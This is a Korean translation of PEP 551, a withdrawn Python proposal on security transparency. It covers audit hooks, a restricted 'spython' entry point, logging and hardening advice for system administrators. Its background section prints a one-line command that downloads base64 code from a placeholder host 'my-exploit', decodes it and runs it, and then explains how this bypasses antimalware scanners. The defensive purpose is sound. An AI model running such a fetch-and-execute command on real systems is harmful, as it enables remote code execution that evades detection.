Following system colour scheme Selected dark colour scheme Selected light colour scheme

Python 개선 제안 한국어 번역

PEP 551 – Python 런타임의 보안 투명성

Author:
Steve Dower <steve.dower at python.org>
Status:
Withdrawn
Type:
Informational
Created:
23-Aug-2017
Python-Version:
3.7
Post-History:
24-Aug-2017, 28-Aug-2017
Table of Contents

번역·라이선스 안내

이 문서는 Open Publication License v1.0 이상에 따라 만든 수정된 한국어 번역본입니다. 수정자: yeokja/yeokja 프로젝트. 수정일: 2026-08-29. 변경 내용: 영어 원문을 한국어로 번역했습니다. 원저자와 저작권 표시는 위 Author 필드와 아래 Copyright 절에 유지했으며, 이 번역은 원저자의 승인이나 보증을 뜻하지 않습니다. 수정되지 않은 기준 원문 · 공식 최신판 · Open Publication License v1.0

Note

이 PEP는 철회되었습니다. CPython을 보안 환경에 통합하는 방법에 관한 정보는 각자의 보안 전문가와 상담하시기를 권장합니다.

PEP 578과의 관계

이 PEP는 처음 게시된 이후 두 개로 분리되었습니다.

Python 다음 버전에 추가하도록 제안된 감사 API는 PEP 578을 참조하십시오.

이 PEP는 이제 정보성 PEP이며, Python을 보안 환경이나 감사 대상 환경에 통합하려는 이들에게 지침을 제공합니다.

초록

이 PEP는 보안 투명성의 개념과 그것이 Python 런타임에 적용되는 방식을 설명합니다. 런타임이 수행하는 동작을 파악할 수 있다는 것은, Python을 그 밖의 측면에서는 안전하거나 모니터링되는 환경에 통합할 때 매우 귀중합니다.

PEP 578에서 설명하는 감사 훅은 Python의 오용을 탐지하고 식별하고 분석하는 데 필수적인 구성 요소입니다. 훅 자체는 중립적이지만(보고되는 모든 이벤트가 본질적으로 오용은 아니라는 의미에서), 시스템이나 네트워크 전체의 모니터링을 담당하는 이들에게 필수적인 맥락을 제공합니다. 투명성이 충분하면 공격자는 더 이상 숨을 수 없습니다.

배경

소프트웨어 취약점은 일반적으로 원격 코드 실행이나 권한 상승된 코드 실행을 가능하게 하는 버그로 여겨집니다. 그러나 오늘날처럼 서로 연결된 세상에서는 지능형 지속 위협(APT)을 가능하게 하는 취약점이 더 위험합니다. APT는 공격자가 네트워크에 침투하여 하나 이상의 머신에 자신의 소프트웨어를 심고, 시간을 두고 데이터나 정보를 빼낼 수 있을 때 성립합니다. 일부 APT는 데이터(예: WannaCrypt)나 하드웨어(예: Stuxnet)를 악의적으로 손상시켜 자신의 존재를 드러내기도 합니다. 대부분은 자신의 존재를 숨기고 탐지를 피하려 합니다. APT는 거점을 마련하고 목적을 달성하기 위해 전통적인 취약점, 사회 공학, 피싱(또는 스피어 피싱), 철저한 네트워크 분석, 잘못 구성된 환경에 대한 이해를 조합하여 사용하는 경우가 많습니다.

처음 감염된 머신이 최종 목표가 아닐 수도 있고, 특별한 권한이 필요하지 않을 수도 있습니다. 예를 들어, 개발자 머신에 관리자가 아닌 사용자로 자리 잡은 APT가 일반적인 배포 채널을 통해 프로덕션 머신으로 퍼져 나갈 수도 있습니다. APT는 가능한 한 많은 머신에 잔류하는 것이 일반적이며, 그 존재 규모 자체만으로도 완전히 제거하기가 어려워집니다.

공격자가 직접적인 피해를 입히려 하든 자신의 흔적을 숨기려 하든, 탐지를 가로막는 가장 큰 장벽은 가시성의 부족입니다. 대규모 네트워크를 운영하는 시스템 관리자는 머신이 무엇을 하고 있는지 파악하기 위해 분산 로그에 의존하지만, 로그는 오류 상황만 보이도록 필터링되는 경우가 많습니다. 탐지를 피하려는 APT는 오류나 비정상적인 이벤트를 거의 발생시키지 않습니다. 여러 기업에서 운영 로그 내의 이상 징후를 자동으로 탐지하기 위한 작업을 진행하고 있지만, 정상 운영 로그를 검토하는 데에는 상당한 노력이 듭니다. 공격자가 선호하는 도구는 대상 머신에 이미 설치된 도구인데, 이러한 도구가 남기는 로그 메시지는 일반적인 사용 과정에서 흔히 예상되는 것이어서 무시되는 경우가 많기 때문입니다.

여기서는 APT의 존재나 이 PEP에 해당하지 않는 기법 및 완화책에 관해 더 이상 논의하지 않겠습니다. 이 필드에 관한 자세한 정보는 Further Reading 항목에 나열된 자료를 읽거나 시청하기를 권장합니다.

Python은 서버와 개발자 머신에 널리 설치되어 있고, (네이티브 바이너리와 달리) 데이터로 제공된 임의의 코드를 실행할 수 있으며, 내부 감사 기능이 전혀 없기 때문에 공격자에게 특히 흥미로운 도구입니다. 이 때문에 공격자는 단 하나의 명령으로 악성 코드를 다운로드하고, 복호화하고, 실행할 수 있습니다:

python -c "import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen('http://my-exploit/py.b64')
    ).decode())"

이 명령은 현재 네트워크 연결을 통해 읽히거나 디스크에 기록되는 식별 가능한 코드를 탐지하는 방식에 의존하는 대부분의 안티멀웨어 스캐너를 우회합니다(이러한 검사를 우회하는 데는 base64만으로도 충분한 경우가 많습니다). 또한 파일 접근 제어 목록이나 권한(파일 접근이 전혀 발생하지 않으므로), 승인된 애플리케이션 목록(Python이 다른 용도로 승인되어 있다고 가정할 때), 자동화된 감사나 로깅(Python이 인터넷에 접근하거나, 페이로드를 가져올 로컬 네트워크의 다른 머신에 접근하는 것이 허용되어 있다고 가정할 때)과 같은 보호 수단도 우회합니다.

보안 커뮤니티의 일반적인 합의는 공격을 완전히 막는 것은 불가능하며, 방어자는 공격이 성공한 뒤에야 탐지하는 경우가 많다고 가정해야 한다는 것입니다. 이를 “침해 가정(assume breach)” 사고방식이라고 합니다. [1] 이 시나리오에서는 샌드박싱이나 입력 검증과 같은 보호 수단이 이미 실패한 상태이며, 중요한 과제는 악성 코드를 탐지하고 추적하여 최종적으로 제거하는 것입니다. 이를 위해 Python에 가장 먼저 요구되는 기능은 보안 투명성, 즉 Python 런타임이 수행하는 작업 가운데 비정상적이거나 악의적인 사용을 나타낼 수 있는 작업을 확인할 수 있는 능력입니다. 그러한 사용을 방지하는 것도 가치가 있지만, 그러한 사용이 일어나고 있음을 알아야 할 필요성에 비하면 부차적입니다.

목표를 중요도가 높아지는 순서로 요약하면 다음과 같습니다:

  • 악의적인 사용을 방지하는 것은 가치가 있습니다
  • 악의적인 사용을 탐지하는 것은 중요합니다
  • 탐지를 우회하려는 시도를 탐지하는 것은 결정적으로 중요합니다

이러한 과제를 해결한 스크립팅 엔진의 한 예로 PowerShell이 있으며, PowerShell은 최근 투명성과 방지라는 유사한 목표를 향해 강화되었습니다. [2]

일반적으로 스크립팅 엔진 내에서 어떤 이벤트를 로깅할 가치가 있는지는 애플리케이션과 시스템 구성에 따라 결정됩니다. 그러나 많은 로그 이벤트의 가치는 공격이 탐지된 이후에야 인식된다는 점을 고려하면, 출처에서 필터링하기보다는 가능한 한 많은 것을 수집하고 보기를 필터링하는 것이 중요합니다(Further Reading의 No Easy Breach 영상을 참고하십시오). 항상 관심을 가져야 하는 이벤트로는 감사를 우회하려는 시도, 올바르게 서명되지 않았거나 접근 제어되지 않은 코드를 로드하고 실행하려는 시도, 디버깅이나 프로세스 간 검사 도구와 같은 흔치 않은 운영 체제 기능의 사용, 대부분의 네트워크 접근과 DNS 조회, 로컬 머신에 파일이나 구성 설정을 생성하고 숨기려는 시도 등이 있습니다.

요약하면, 방어자는 비정상적이거나 악의적인 사용을 탐지하기 위해 Python의 특정 사용을 감사할 필요가 있습니다. PEP 578을 통해 Python 런타임은 이를 제공할 수 있는 능력을 갖추게 됩니다. 이 PEP의 목적은 시스템 관리자가 기존의 감사 및 보호 시스템과 통합할 수 있는, 보안 투명성을 갖춘 버전의 Python을 배포하도록 돕는 것입니다.

Windows에서 PEP 578이 추가한 훅을 통해 통합할 수 있는 구체적인 기능은 다음과 같습니다:

  • 스크립트 블록 로깅(Script Block Logging) [3]
  • DeviceGuard [4]
  • AMSI [5]
  • 영구 영역 식별자(Persistent Zone Identifiers) [6]
  • 이벤트 추적(이벤트 전달 포함) [7]

Linux에서 통합할 수 있는 구체적인 기능은 다음과 같습니다:

  • gnupg [8]
  • sd_journal [9]
  • OpenBSM [10]
  • syslog [11]
  • auditd [12]
  • SELinux 레이블 [13]
  • 임포트된 모듈의 실행 비트 확인

macOS에서 통합할 수 있는 기능은 다음과 같습니다:

전반적으로 운영 환경 머신에서 이러한 플랫폼별 기능을 활성화할 수 있다는 점은 시스템 관리자에게 매우 매력적이며, 애플리케이션 개발자에게 Python을 더 신뢰할 수 있는 의존성으로 만들어 줄 것입니다.

진정한 보안 투명성은 Python 단독으로는 완전히 달성할 수 없습니다. 런타임은 원하는 만큼 많은 이벤트를 감사할 수 있지만, 로그를 검토하고 분석하지 않는다면 아무런 가치가 없습니다. Python은 보안이라는 명목으로 제한을 가할 수 있지만, 그로 인해 사용성이 떨어질 수 있습니다. 플랫폼과 환경에 따라 특정 보안 기능을 서로 다르게 구현해야 할 것이며, 런타임을 완전히 사용자 정의할 수 있는 자원을 갖춘 조직은 그렇게 하도록 권장되어야 합니다.

권장 사항 요약

이 내용은 이후 절에서 더 자세히 다루지만, 전체 논의의 틀을 잡기 위해 여기에서 먼저 제시합니다.

시스템 관리자는 공격 표면을 줄이고 감사 훅을 안전하게 활성화하기 위해 (python.exe나 pythonX.Y 외에) 대체 진입점을 제공하고 사용해야 합니다. 무엇을 제한할 수 있는지에 대해서는 아래 Restricting the Entry Point에서 논의합니다.

시스템 관리자는 파일 권한, 접근 제어 목록, 서명 검증 등 운영 체제가 제공하는 모든 수단을 사용하여 Python 설치본이 수정되는 것을 방지해야 합니다.

시스템 관리자는 모든 것을 로그로 남기고 가능한 한 빨리 로그를 중앙 위치로 수집해야 합니다. 외곽 링 머신에 로그를 보관하지 마십시오.

시스템 관리자는 오용의 _prevention_보다 오용의 _detection_을 우선시해야 합니다.

진입점 제한하기

머신에 Python이 존재함으로써 드러나는 주요 취약점 중 하나는 시스템의 탐지나 검증 없이 임의의 코드를 실행할 수 있다는 점입니다. 기본 진입점(Windows의 python.exe, 그 밖의 플랫폼의 pythonX.Y)은 명령줄과 표준 입력으로부터의 실행을 허용하고 기본적으로 어떤 훅도 활성화하지 않기 때문에, 이러한 일이 훨씬 쉬워집니다.

저희는 운영 환경 머신에서 기본 진입점 대신 수정된 진입점을 사용할 것을 권장합니다. 개발 환경을 벗어나면 기본 진입점이 제공하는 유연성이 필요한 경우는 거의 없습니다.

이 절에서는 운영 환경 머신에 권장되는 수준의 보안 투명성을 제공하는 가상의 spython 진입점(Windows에서는 spython.exe, 그 밖의 플랫폼에서는 spythonX.Y)을 설명합니다. 함께 제공되는 예제 구현은 여기에서 설명하는 기능 중 상당수를 보여 주지만, 플랫폼별 코드를 피하기 위해 여러 가지를 타협했습니다. 충분한 구현이라면 본질적으로 플랫폼별 보안 기능과의 통합이 어느 정도 필요할 것입니다.

공식 배포판에는 기본적으로 어떤 spython도 포함되지 않지만, 서드파티 배포판에는 같은 이름을 사용하는, 적절히 수정된 진입점이 포함될 수 있습니다.

대부분의 명령줄 인자 제거

spython 진입점은 첫 번째 인자로 스크립트 파일을 전달받아야 하며, 그 앞에 어떤 옵션도 올 수 없습니다. 이를 통해 메모리 내 데이터나 스크립트가 아닌 파일(예를 들어 -m pickle <path>를 사용하여 실행될 수 있는 피클 등)로부터 임의의 코드가 실행되는 것을 방지합니다.

-B(바이트코드를 기록하지 않음), -E(환경 변수 무시), -s(사용자 site 없음) 옵션이 지정된 것으로 간주합니다.

프로세스와 전체 경로가 같고 ._pth 접미사가 붙은 파일(Windows에서는 spython._pth, Linux에서는 spythonX.Y._pth)이 존재하면, 현재 Windows용으로 설명된 규칙에 따라 sys.path를 초기화하는 데 해당 파일이 사용됩니다.

시연을 위해 spython의 예제 구현은 대화형 모드로 시작하는 -i 옵션도 허용합니다. 이는 제한된 진입점에는 권장되지 않습니다.

감사된 이벤트 로그 기록

초기화 전에 spython은 감사 대상인 모든 이벤트를 OS가 관리하는 로그 파일에 기록하는 감사 훅을 설정합니다. Windows에서는 이벤트 추적(Event Tracing) 기능이 이 역할을 하며,[7]_ 다른 플랫폼에서는 syslog로 기록됩니다.[11]_ 공격자가 로컬 로그를 지우거나 머신에 대한 정당한 접근을 막으려 할 때 정보가 손실되지 않도록, 로그는 가능한 한 자주 머신에서 복사됩니다.

또한 감사 훅은 모든 sys.addaudithook 이벤트를 중단시켜 다른 훅이 추가되지 못하도록 합니다.

로깅 훅은 네이티브 코드로 작성되며 인터프리터가 초기화되기 전에 구성됩니다. 어떤 Python 코드도 감사 없이 실행되지 않도록 하고, Python 코드가 훅 등록을 막지 못하도록 보장할 수 있는 기회는 이때뿐입니다.

우리의 주된 목표는 모든 Python 프로세스가 수행한 모든 동작을 기록하여, 기록된 이벤트를 대상으로 오프라인에서 탐지를 수행할 수 있게 하는 것입니다. 모든 이벤트를 기록해 두면 더 깊이 있는 분석과 머신 러닝 알고리즘 활용도 가능해집니다. 이러한 분석은 공격자가 보호된 머신 안에 일정 기간 머무르려는 지속적 공격을 탐지하는 데 유용하며, 공격이 성공했을 때 그 영향과 노출 범위를 파악하기 위한 사후 분석에도 유용합니다.

spython의 예제 구현은 시연을 위해 로컬 머신의 로그 파일에 기록합니다. -i로 시작하면 예제 구현은 모든 감사 이벤트를 로그 파일 대신 표준 에러에 기록합니다. SPYTHONLOG 환경 변수로 로그 파일 위치를 지정할 수 있습니다.

임포트 가능한 모듈 제한

또한 초기화 전에 spython은 os.open_for_import로 연 모든 파일을 검증하는 open-for-import 임포트 훅을 설정합니다. 이 구현은 모든 파일에 .py 접미사가 붙어 있어야 한다고 요구하며(캐시된 바이트코드 사용 방지), (filename, True_if_allowed)를 담은 사용자 정의 감사 이벤트 spython.open_for_import를 발생시킵니다.

파일을 연 후에는 전체 내용을 단일 버퍼로 메모리에 읽어 들이고 파일을 닫습니다.

나중에 컴파일 과정에서 compile 이벤트가 발생하므로, 동적으로 생성된 코드에도 적용되는 메커니즘으로 지금 내용을 검증할 필요는 없습니다. 그러나 소스 파일이나 파일 해시의 화이트리스트를 사용할 수 있다면, DeviceGuard [4]와 같은 다른 검증 메커니즘을 여기서 수행해야 합니다.

피클의 전역 제한

spython 진입점은 기본 구현을 사용하는 모든 pickle.find_class 이벤트를 중단시킵니다. 재정의된 구현은 명시적으로 추가하지 않는 한 감사 이벤트를 발생시키지 않으므로 계속 허용됩니다.

os.system 방지

spython 진입점은 모든 os.system 호출을 중단시킵니다.

여기서 subprocess.Popen(shell=True)는 허용된다는 점에 유의해야 합니다(다만 플랫폼별 프로세스 생성 이벤트를 통해 기록됩니다). 이렇게 절충한 이유는 실행 중인 애플리케이션이 여러 인자를 받는 함수를 호출하도록 유도하는 것보다 단일 문자열 인자로 os.system을 호출하도록 유도하는 편이 훨씬 간단하여, 익스플로잇의 일부로 사용될 가능성이 더 높기 때문입니다. 또한 프로덕션 코드에서 os.system을 사용할 정당한 이유는 거의 없는 반면, subprocess.Popen에는 정당한 용도가 많습니다. 다만 shell=True 인자의 사용을 나타내는 로그는 더 주의 깊게 검토해야 합니다.

시스템 관리자는 제한과 탐지 사이에서 이러한 절충을 직접 결정하는 것이 권장되며, 일반적으로 탐지를 우선해야 합니다.

일반 권장 사항

어떤 환경에서든 이상적인 구성은 시스템 관리자가 자신의 네트워크에서 일어나는 활동을 관리하고 모니터링하며 대응하는 능력에 달려 있으므로, 앞 절에서 제안한 것 이상의 권장 사항을 제시하기는 어렵습니다. 그럼에도 여기서는 Python을 완전한 시스템에 통합하기 위한 몇 가지 맥락과 지침을 제공하고자 합니다.

이 절에서는 조언을 무시하면 위험하다고 판단함을 나타내는 should(또는 should not)와, 가치가 높은 시스템에서 고려해야 할 조언임을 나타내는 may라는 용어를 사용하여 권장 사항을 제시합니다. sysadmin(시스템 관리자)이라는 용어는 네트워크 전반에 Python을 배포하는 책임자를 가리킵니다. 조직에 따라 이 책임자를 다른 직함으로 부를 수 있습니다.

시스템 관리자는 아마도 spython 소스에서 시작하여 자체 진입점을 빌드하고, 자신의 환경에서 사용할 수 있는 보안 시스템과 직접 인터페이스로 연동해야 합니다. 더 긴밀하게 통합될수록 공격자가 그 시스템을 우회할 수 있게 하는 취약점이 발견될 가능성은 낮아집니다. 특히 진입점은 환경 변수와 같은 설정을 현재 환경에서 가져와서는 안 됩니다. 단, 그 설정이 다른 방법으로 수정되지 않도록 보호되고 있는 경우는 예외입니다.

감사 메시지를 로컬 파일에 기록해서는 안 됩니다. spython 진입점은 예시와 테스트 목적으로 이렇게 합니다. 프로덕션 머신에서는 이 목적을 위해 만들어진 ETW [7] 또는 auditd [12] 같은 도구를 사용해야 합니다.

기본 python 진입점은 프로덕션 머신에 배포해서는 안 되지만, 개발자가 프로덕션이 아닌 머신에서 Python을 사용하고 테스트하도록 제공할 수는 있습니다. 네트워크에 연결된 모든 시스템은 잠재적인 공격 대상이므로, 시스템 관리자는 제한을 완화한 버전의 진입점을 개발자 머신에 배포하는 것을 고려할 수 있습니다. 시스템 관리자는 추가 감사가 포함되어 있다는 사실을 감추기 위해 자체 진입점을 python으로 배포할 수 있습니다.

Python 배포본은 배포 후와 사용 중에 플랫폼에서 사용할 수 있는 모든 기능을 활용해 읽기 전용으로 만들어야 합니다.

이를 지원하는 플랫폼에서는 시스템 관리자가 Python 배포본의 모든 파일에 서명을 포함해야 하며, 이상적으로는 비공개 인증서를 사용해 서명을 검증해야 합니다. 예를 들어 Windows는 실행 파일에 서명을 내장하고 그 밖의 파일에는 카탈로그를 사용하는 방식을 지원하며, DeviceGuard [4]를 사용해 자동으로 또는 open_for_import 훅을 통해 서명을 검증할 수 있습니다.

시스템 관리자는 감사 대상 이벤트를 가능한 한 많이 기록해야 하며, 로그를 로컬 머신 밖으로 자주 복사해야 합니다. 로그에서 의심스러운 활동을 지속적으로 감시하고 있지 않더라도, 공격이 탐지된 뒤에 감사를 활성화하면 이미 늦습니다. 공격의 진행 상황을 분석할 때는 무해한 이벤트도 유용하므로, 감사 훅이 이벤트를 선제적으로 걸러내려고 해서는 안 됩니다. (이 측면을 더 깊이 살펴보려면 Further Reading에 있는 “No Easy Breach” 영상을 보십시오.)

정상적인 사용 중에 일어날 수 있는 동작이거나, 막으면 공격자가 이를 우회하려 들게 되는 동작이라면 대부분 중단해서는 안 됩니다. 앞서 설명했듯이 인지가 예방보다 우선순위가 높습니다. 시스템 관리자는 자신의 Python 코드를 감사하여, 의도적으로 사용될 일이 전혀 없다고 알려진 작업을 중단시킬 수 있습니다.

감사 훅은 중단을 시도하기 전에 이벤트를 로그에 기록해야 합니다. 앞서 논의했듯이 악의적인 행동을 막는 것보다 기록하는 것이 더 중요합니다.

상관관계가 있는 이벤트에 변화가 생기면 오용을 뜻할 수 있으므로, 시스템 관리자는 이벤트 간의 상관관계를 파악해야 합니다. 예를 들어 모듈 임포트는 일반적으로 import 감사 이벤트를 발생시키고, 이어서 open_for_import 호출과 대개 compile 이벤트가 뒤따릅니다. 감사를 우회하려는 시도는 이 이벤트들 중 전부가 아닌 일부만 억제하는 경우가 많습니다. 따라서 로그에 import 이벤트는 있지만 compile 이벤트가 없다면 조사가 필요할 수 있습니다.

첫 번째 감사 훅은 Py_Initialize가 호출되기 전에 C 코드에서 설정해야 하며, 그 훅은 sys.addloghook 이벤트를 무조건 중단해야 합니다. Python 인터페이스는 주로 테스트와 개발을 위한 것입니다.

프로덕션이 아닌 머신에서 감사 훅이 추가되는 것을 막기 위해, 진입점은 sys.addloghook 이벤트를 중단하는 일 외에는 아무것도 하지 않는 감사 훅을 추가할 수 있습니다.

프로덕션 머신에서는 검증을 하지 않는 open_for_import 훅을 Py_Initialize가 호출되기 전에 C 코드에서 설정할 수 있습니다. 이렇게 하면 이후의 코드가 훅을 덮어쓰지 못하지만, 어떤 코드도 setopenforexecutehandler를 호출할 필요가 없어야 하므로 이 이벤트를 기록하는 것은 유용합니다. 최소한 spython에 있는 open_for_import 훅 예제 구현은 사용하는 것이 좋습니다.

importlib의 open_for_import 사용은 몽키패칭으로 쉽게 우회될 수 있으므로, 타입 객체의 속성 변경을 감지하기 위해 감사 훅을 사용해야 합니다.

하지 말아야 할 일

이 절에서는 흔하거나 “당연히 좋아 보이는” 권고 가운데 저희가 의도적으로 하지 않는 권고를 다룹니다. 이러한 권고는 쓸모없거나 잘못된 것부터 현실의 어떤 환경에서도 도저히 실현할 수 없는 아이디어까지 다양합니다.

Python 런타임 안에 샌드박스를 구현하려고 시도하지 마십시오. 임의의 코드가 Python 기능을 제한적으로만 사용하도록 허용하려는 시도(예: [14])는 오랜 역사를 가지고 있지만, 전반적으로 성공한 적은 없습니다. 가장 좋은 선택지는 최소한 하이퍼바이저 수준으로 격리된 샌드박스 환경 안에서 제한 없는 Python을 실행하거나, 승인되지 않은 코드가 아예 시작되지 못하도록 막는 것입니다.

신뢰할 수 없는 코드를 사용하기 전에 검증하려고 정적 분석에 의존하지 마십시오. 가장 좋은 선택지는 코드 서명 등을 통해 신뢰할 수 있는 코드를 사전에 승인하는 것이며, 그것이 불가능하다면 안티멀웨어 스캐너 등을 통해 악성으로 알려진 코드를 식별하는 것입니다.

이벤트를 먼저 로깅하지 않은 채 감사 훅으로 작업을 중단시키지 마십시오. 프로세스가 왜 사라졌는지 알 수 없게 되어 후회하게 될 것입니다.

[TODO - 더 많은 나쁜 조언]

더 읽을거리

악성 코드의 재정의: 오래된 용어가 새로운 위협을 제기할 때
Aviv Raff, SecurityWeek, 2014년 1월 29일

이 기사와 이 기사에 링크된 글들은 APT의 부상과 “전통적인” 악성 코드와의 차이점을 개괄적으로 요약합니다.

http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats

사이버 공격의 해부
FireEye, 2017년 8월 23일 접속

APT가 사용하는 기법을 요약하고, 관련 백서 여러 편으로 연결되는 링크를 제공합니다.

https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html

자동화된 트래픽 로그 분석: 지능형 위협 방어의 필수 요소
Aviv Raff, SecurityWeek, 2014년 5월 8일

상세한 로깅과 자동 분석의 가치를 개괄적으로 요약합니다.

http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection

쉽지 않은 침해: 대규모 조사에서 얻은 과제와 교훈
Mandiant의 Matt Dunwoody와 Nick Carr가 SchmooCon 2016에서 발표한 영상

APT를 탐지하고 제거하는 데 사용된 절차와 도구를 자세히 살펴봅니다.

https://archive.org/details/No_Easy_Breach

국가 배후 해커의 공격 저지하기
NSA의 Rob Joyce가 USENIX Enigma 2016에서 발표한 영상

NSA 특수 접근 작전(Tailored Access Operation) 책임자가 전하는 좋은 보안 관행, 역량, 권고 사항입니다.

https://www.youtube.com/watch?v=bDJb8WOJYdA

참고 문헌

감사의 글

Python 런타임을 프로덕션 용도로 더 안전하게 만드는 데 도움을 준 Microsoft의 모든 분께 감사드립니다. 특히 초기 연구, 분석 및 구현의 상당 부분을 수행한 James Powell, 정보 보안 필드와 PowerShell의 대응에 관해 귀중한 통찰을 제공한 Lee Holmes, 그리고 절제되고 현실에 발을 디딘 논의를 이끌어 준 Brett Cannon에게 감사드립니다.